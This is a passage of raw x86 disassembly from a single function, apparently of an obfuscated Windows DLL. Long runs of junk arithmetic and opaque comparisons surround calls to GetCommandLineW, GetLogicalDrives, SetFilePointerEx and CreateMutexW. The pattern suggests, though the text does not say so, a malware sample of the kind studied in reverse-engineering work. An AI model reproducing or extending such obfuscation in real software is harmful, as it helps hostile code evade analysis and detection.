mov byte [ebp - 0xe], al
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 6]
and edx, eax
mov byte [ebp - 3], dl
jmp 0x100023e9
movsx ecx, byte [ebp - 2]
movsx edx, byte [ebp - 7]
add ecx, edx
mov eax, dword [ebp - 0x28]
mov byte [eax], cl
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 2], dl
movsx edx, byte [ebp - 0xe]
movsx eax, byte [0x10008001]
add edx, eax
mov ecx, dword [ebp - 0x40]
mov byte [ecx], dl
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
sub eax, edx
mov byte [0x10008001], al
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 1], cl
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 2]
and edx, eax
mov byte [ebp - 1], dl
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x30]
mov byte [eax], dl
movsx ecx, byte [ebp - 3]
movsx edx, byte [ebp - 5]
add ecx, edx
mov byte [ebp - 1], cl
movzx eax, word [ebp - 0x60]
cmp eax, 0xbad
jne 0x10002464
movsx ecx, byte [0x10008001]
movsx edx, byte [ebp - 7]
add ecx, edx
mov byte [ebp - 6], cl
movsx eax, byte [ebp - 6]
mov ecx, dword [ebp - 0x40]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 2], al
movsx edx, byte [0x10008001]
movsx eax, byte [ebp - 0xe]
xor edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xdc]
call fcn.10007eb0
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], edx
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 5]
or edx, eax
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
and eax, edx
movsx ecx, byte [0x10008001]
movsx edx, byte [ebp - 6]
add ecx, edx
cmp eax, ecx
jle 0x100024bf
lea eax, [ebp - 5]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 3], dl
mov edx, dword [ebp - 0x30]
mov al, byte [edx]
mov byte [ebp - 0x20], al
mov ecx, dword [ebp - 0xc4]
sub ecx, dword [ebp - 0x108]
mov dword [ebp - 0x38], ecx
lea edx, [ebp - 0xb0]
mov dword [ebp - 0x84], edx
jmp 0x10002511
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x64]
sbb ecx, dword [ebp - 0xac]
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x2f8], ecx
mov edx, dword [ebp - 0x2f8]
cmp edx, dword [ebp - 0x94]
jl 0x10002511
jg 0x100024fb
mov eax, dword [ebp - 0x2fc]
cmp eax, dword [ebp - 0x98]
jb 0x10002511
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0xa0]
add edx, dword [ecx]
mov eax, dword [ebp - 0x90]
mov dword [eax], edx
mov ecx, dword [ebp - 0x58]
mov dl, byte [ecx]
mov byte [ebp - 0x10], dl
cmp dword [ebp - 0x1c0], 0x1618
jbe 0x10002716
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x20]
add ecx, edx
mov byte [ebp - 5], cl
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 4]
and ecx, edx
mov byte [0x10008001], cl
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
movsx edx, byte [0x10008001]
sub ecx, edx
mov byte [ebp - 4], cl
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 5]
xor ecx, edx
mov byte [ebp - 1], cl
movzx eax, word [ebp - 0x60]
shl eax, 0xb
mov word [ebp - 0x60], ax
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x30]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x428], eax
movsx edx, byte [0x10008001]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 4], dl
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x1d8], eax
movsx edx, byte [ebp - 4]
movsx eax, byte [ebp - 0x10]
add edx, eax
mov ecx, dword [ebp - 0x58]
mov byte [ecx], dl
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
and eax, dword [ebp - 0xa0]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x1c0]
sub ecx, 0xc6
mov dword [ebp - 0x1c0], ecx
movsx edx, byte [ebp - 6]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xe], dl
movsx edx, byte [ebp - 5]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [0x10008001], dl
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
sub eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
movsx edx, byte [ebp - 5]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x48]
mov byte [eax], dl
movsx ecx, byte [ebp - 0xe]
movsx edx, byte [ebp - 4]
add ecx, edx
mov byte [ebp - 5], cl
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x10], cl
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 7]
sub edx, eax
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
movsx edx, byte [ebp - 5]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x18]
mov byte [eax], dl
push 0
lea ecx, [ebp - 0x284]
push ecx
mov edx, dword [ebp - 0x280]
push edx
mov eax, dword [ebp - 0x284]
push eax
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x28c], eax
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 2]
shl eax, cl
mov byte [ebp - 0x20], al
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 5]
sar edx, cl
mov byte [ebp - 4], dl
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 3]
or ecx, edx
mov byte [0x10008001], cl
movsx eax, byte [ebp - 2]
movsx ecx, byte [ebp - 0xe]
xor eax, ecx
mov byte [ebp - 0x10], al
movsx edx, word [ebp - 0xc]
movsx eax, word [ebp - 0x50]
add edx, eax
mov word [ebp - 0x54], dx
movzx ecx, byte [ebp - 0x1f]
movzx edx, byte [ebp - 0x31]
add ecx, edx
mov byte [ebp - 0xd], cl
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x98]
mov edx, dword [eax + 4]
and edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
mov dword [eax + 4], edx
jmp 0x10002519
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x108]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0xa0]
sub ecx, dword [eax]
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x1c4], 0x587f
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x58]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x28]
mov byte [ecx], al
movsx edx, byte [ebp - 6]
movsx eax, byte [ebp - 7]
sub edx, eax
mov byte [ebp - 2], dl
movsx ecx, byte [ebp - 5]
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x10008001], cl
movsx ecx, byte [ebp - 0x20]
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x28]
mov byte [edx], cl
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 3], cl
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx]
add edx, dword [ebp - 0x98]
mov eax, dword [ecx + 4]
adc eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], edx
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1c4]
add edx, 0x92
mov dword [ebp - 0x1c4], edx
mov eax, dword [ebp - 0x58]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x20]
sar edx, cl
mov byte [ebp - 2], dl
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x90]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 5]
or ecx, edx
mov eax, dword [ebp - 0x18]
mov byte [eax], cl
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 7]
xor edx, eax
mov byte [ebp - 5], dl
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x10], dl
movzx edx, byte [ebp - 0x1f]
movzx eax, byte [ebp - 0xd]
add edx, eax
mov byte [section..data], dl
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x48]
mov byte [eax], dl
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x30]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x20]
movsx edx, byte [ebp - 4]
sub ecx, edx
mov byte [ebp - 0xe], cl
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 5], al
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x10], cl
mov ecx, dword [ebp - 0x58]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 2]
sub edx, eax
mov ecx, dword [ebp - 0x48]
mov byte [ecx], dl
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 3]
sub eax, ecx
mov edx, dword [ebp - 0x58]
mov byte [edx], al
movsx eax, byte [ebp - 0x20]
mov ecx, dword [ebp - 0x30]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 1], al
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x68]
call fcn.10007e10
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
movzx edx, byte [ebp - 0x1f]
movzx eax, byte [ebp - 0x31]
or edx, eax
mov byte [section..data], dl
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 5], dl
movsx edx, byte [ebp - 0xe]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0xf8]
add edx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xf4]
adc eax, dword [ebp - 0xd8]
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0x1c4], 0x6877
jb 0x10002742
mov cl, byte [ebp - 3]
mov byte [ebp - 0x11], cl
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 4]
add eax, ecx
mov byte [ebp - 0x11], al
push 0x1000105c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1a0], ax
mov edx, dword [ebp - 0x28]
mov al, byte [edx]
mov byte [ebp - 0xf], al
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 2], dl
lea edx, [ebp - 0xe4]
mov dword [0x1000803c], edx
movsx eax, byte [ebp - 6]
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x40]
mov byte [ecx], al
movsx edx, word [ebp - 0x54]
movsx eax, word [ebp - 0xc]
imul edx, eax
movsx ecx, word [ebp - 0x50]
movsx eax, word [0x10008034]
sub ecx, eax
cmp edx, ecx
jge 0x100029d2
movsx ecx, byte [ebp - 1]
movsx edx, byte [ebp - 0xe]
add ecx, edx
mov byte [ebp - 5], cl
jmp 0x100029fa
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x108]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0xc4]
cmp ecx, edx
jae 0x100029fa
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x74]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x6c], edx
push 0x10001060
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x174], ax
mov eax, dword [ebp - 0x28]
mov cl, byte [eax]
mov byte [ebp - 0x1e], cl
movsx edx, byte [ebp - 2]
movsx eax, byte [ebp - 6]
xor edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov dl, byte [ebp - 2]
mov byte [ebp - 0x21], dl
mov eax, dword [ebp - 0x48]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x11]
shl edx, cl
mov eax, dword [ebp - 0x28]
mov byte [eax], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10008040], eax
movsx ecx, byte [ebp - 0x11]
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 6], cl
mov ecx, dword [ebp - 0x18]
mov dl, byte [ecx]
mov byte [0x10008036], dl
mov eax, dword [ebp - 0x58]
mov cl, byte [eax]
mov byte [ebp - 0x33], cl
movsx edx, byte [ebp - 3]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0xf], dl
movsx edx, byte [ebp - 1]
movsx eax, byte [0x10008036]
add edx, eax
movsx ecx, byte [ebp - 6]
mov eax, dword [ebp - 0x58]
movsx eax, byte [eax]
add ecx, eax
cmp edx, ecx
jge 0x10007943
push 0x10001098
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x144], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x1f8], eax
movsx ecx, word [ebp - 0xc]
movsx edx, word [ebp - 0x50]
add ecx, edx
mov word [0x10008004], cx
movzx eax, word [ebp - 0x60]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x98d
je 0x10002afd
cmp dword [ebp - 0x238], 0xefd
je 0x10002b9c
jmp 0x10002c13
movsx ecx, word [ebp - 0x50]
movsx edx, word [0x10008004]
xor ecx, edx
mov word [ebp - 0xc], cx
mov eax, dword [ebp - 0x38]
push eax
call fcn.10001470
add esp, 4
movzx ecx, word [ebp - 0x60]
or ecx, 0xbc7
mov word [ebp - 0x60], cx
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x68]
call fcn.10007df0
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x108]
shr edx, cl
mov dword [ebp - 0xc4], edx
mov eax, dword [0x1000803c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xf8]
mov edx, dword [eax + 4]
and edx, dword [ebp - 0xf4]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe0], edx
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
movsx edx, byte [ebp - 4]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 6], dl
jmp 0x10002c13
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x28]
mov byte [ecx], al
mov edx, dword [ebp - 0x48]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x21]
add eax, ecx
mov byte [0x10008036], al
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 4]
sub eax, ecx
mov byte [ebp - 5], al
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 6], al
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x74]
and ecx, dword [eax]
mov edx, dword [ebp - 0x90]
mov dword [edx], ecx
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 2], cl
movsx edx, byte [ebp - 3]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x21], dl
movzx ecx, word [ebp - 0x174]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x178], ax
mov dl, byte [ebp - 6]
mov byte [ebp - 0x1d], dl
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x1e], cl
movzx ecx, word [ebp - 0x60]
cmp ecx, 0xea1
jge 0x1000786e
movzx edx, byte [ebp - 0xd]
movzx eax, byte [ebp - 0x1f]
imul edx, eax
movzx ecx, byte [section..data]
movzx eax, byte [ebp - 0x31]
and ecx, eax
cmp edx, ecx
jle 0x10002cda
movzx ecx, word [ebp - 0x60]
mov dword [ebp - 0x2c8], ecx
cmp dword [ebp - 0x2c8], 0xa33
je 0x10002c83
jmp 0x10002cb5
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc4]
or eax, dword [edx]
mov dword [ebp - 0x38], eax
mov ecx, dword [0x1000803c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xe4]
mov eax, dword [ecx + 4]
xor eax, dword [ebp - 0xe0]
mov ecx, dword [0x1000803c]
mov dword [ecx], edx
mov dword [ecx + 4], eax
jmp 0x10002cda
movsx edx, byte [ebp - 1]
movsx ecx, byte [0x10008001]
sar edx, cl
mov byte [ebp - 5], dl
mov al, byte [ebp - 0x33]
mov byte [ebp - 0x29], al
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 6]
shl edx, cl
mov byte [ebp - 0x21], dl
mov eax, dword [ebp - 0x48]
mov cl, byte [eax]
mov byte [ebp - 0x44], cl
movsx edx, byte [ebp - 0x1d]
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x48]
mov byte [eax], dl
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x104], ecx
lea edx, [ebp - 1]
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x98]
mov edx, dword [eax + 4]
adc edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x68]
and eax, dword [ebp - 0xb0]
mov esi, dword [ebp - 0x64]
and esi, dword [ebp - 0xac]
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x308], esi
mov ecx, dword [ebp - 0x304]
cmp ecx, dword [ebp - 0x30c]
jne 0x10002dbb
mov edx, dword [ebp - 0x300]
cmp edx, dword [ebp - 0x308]
jne 0x10002dbb
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x33], cl
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
push eax
call fcn.10001430
add esp, 8
movsx ecx, byte [ebp - 0x33]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x10008036], cl
mov ecx, dword [ebp - 0x88]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xa0]
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x28]
mov byte [edx], cl
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
movsx edx, byte [0x10008036]
add ecx, edx
mov byte [ebp - 0x11], cl
mov eax, dword [0x1000803c]
mov ecx, dword [ebp - 0xe4]
add ecx, dword [eax]
mov edx, dword [ebp - 0xe0]
adc edx, dword [eax + 4]
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0x28]
mov cl, byte [eax]
mov byte [ebp - 0x43], cl
cmp dword [ebp - 0x1c8], 0x65dc
jb 0x10002f61
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 7]
add eax, ecx
mov byte [ebp - 0xe], al
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1d], al
movsx eax, byte [ebp - 0x20]
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x33], al
mov eax, dword [ebp - 0xe4]
xor eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xe0]
xor ecx, dword [ebp - 0xf4]
mov edx, dword [0x1000803c]
mov dword [edx], eax
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1c8]
sub eax, 0x35
mov dword [ebp - 0x1c8], eax
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0xf]
shl edx, cl
mov eax, dword [ebp - 0x48]
mov byte [eax], dl
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 6], dl
movsx ecx, byte [ebp - 0x1d]
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x80]
mov byte [edx], cl
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x48]
mov byte [edx], cl
mov eax, dword [ebp - 0x98]
sub eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x94]
sbb ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x84]
mov dword [edx], eax
mov dword [edx + 4], ecx
movzx eax, byte [ebp - 0x31]
movzx ecx, byte [ebp - 0xd]
and eax, ecx
mov byte [ebp - 0x1f], al
mov edx, dword [ebp - 0x98]
sub edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x94]
sbb eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], edx
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
add eax, dword [ebp - 0xc4]
mov dword [ebp - 0x108], eax
movsx ecx, word [0x10008004]
movsx edx, word [ebp - 0xc]
sub ecx, edx
mov word [0x10008034], cx
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x29]
add ecx, edx
mov eax, dword [ebp - 0x28]
mov byte [eax], cl
movsx ecx, byte [ebp - 0x10]
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 5], cl
movsx ecx, byte [ebp - 5]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x29], cl
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x48]
mov byte [eax], dl
jmp 0x10002df7
movsx edx, byte [ebp - 0x29]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 6], dl
mov ecx, dword [0x1000803c]
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x48]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0x43]
cdq
idiv ecx
mov byte [ebp - 0x11], al
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x88]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x98]
mov edx, dword [eax + 4]
and edx, dword [ebp - 0x94]
mov dword [0x10008010], ecx
mov dword [0x10008014], edx
mov eax, dword [ebp - 0x40]
mov cl, byte [eax]
mov byte [ebp - 0x32], cl
movsx edx, byte [ebp - 0x21]
movsx eax, byte [ebp - 5]
add edx, eax
mov byte [ebp - 7], dl
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x108]
mov eax, dword [ebp - 0xc4]
add eax, dword [ebp - 0x38]
cmp edx, eax
jb 0x1000303e
mov cl, byte [ebp - 0xe]
mov byte [ebp - 0x49], cl
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x2cc], eax
mov edx, dword [ebp - 0x104]
mov ax, word [edx]
mov word [ebp - 0xe8], ax
movsx ecx, byte [ebp - 0xe]
movsx edx, byte [0x10008001]
imul ecx, edx
mov byte [ebp - 3], cl
movsx eax, byte [ebp - 6]
movsx ecx, byte [ebp - 0x1e]
add eax, ecx
mov byte [ebp - 0x49], al
jmp 0x100030b5
movzx edx, byte [ebp - 0xd]
movzx eax, byte [ebp - 0x31]
sub edx, eax
movzx ecx, byte [ebp - 0x1f]
movzx eax, byte [section..data]
and ecx, eax
cmp edx, ecx
jge 0x100030b5
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xf]
sub edx, eax
mov byte [ebp - 0x11], dl
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x29]
sub edx, eax
mov byte [ebp - 7], dl
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
mov edx, dword [ebp - 0x98]
push edx
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x98]
push ecx
mov edx, dword [ebp - 0x84]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [edx]
push ecx
call fcn.100014a0
add esp, 0x20
mov edx, dword [ebp - 0x28]
mov al, byte [edx]
mov byte [ebp - 0x39], al
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 3]
sub edx, eax
mov byte [ebp - 0x44], dl
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x108]
shr edx, cl
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0xc4]
shl eax, cl
cmp edx, eax
jne 0x10007839
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x114], ecx
movsx edx, byte [ebp - 4]
movsx eax, byte [ebp - 0xe]
sub edx, eax
mov ecx, dword [ebp - 0x80]
mov byte [ecx], dl
mov dword [ebp - 0xa8], 0x10008001
mov edx, dword [ebp - 0xc4]
mov dword [0x10008044], edx
mov eax, dword [ebp - 0x104]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x60]
add ecx, edx
movzx eax, word [ebp - 0xe8]
cmp ecx, eax
jne 0x1000322b
mov ecx, dword [ebp - 0xf8]
sub ecx, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xf4]
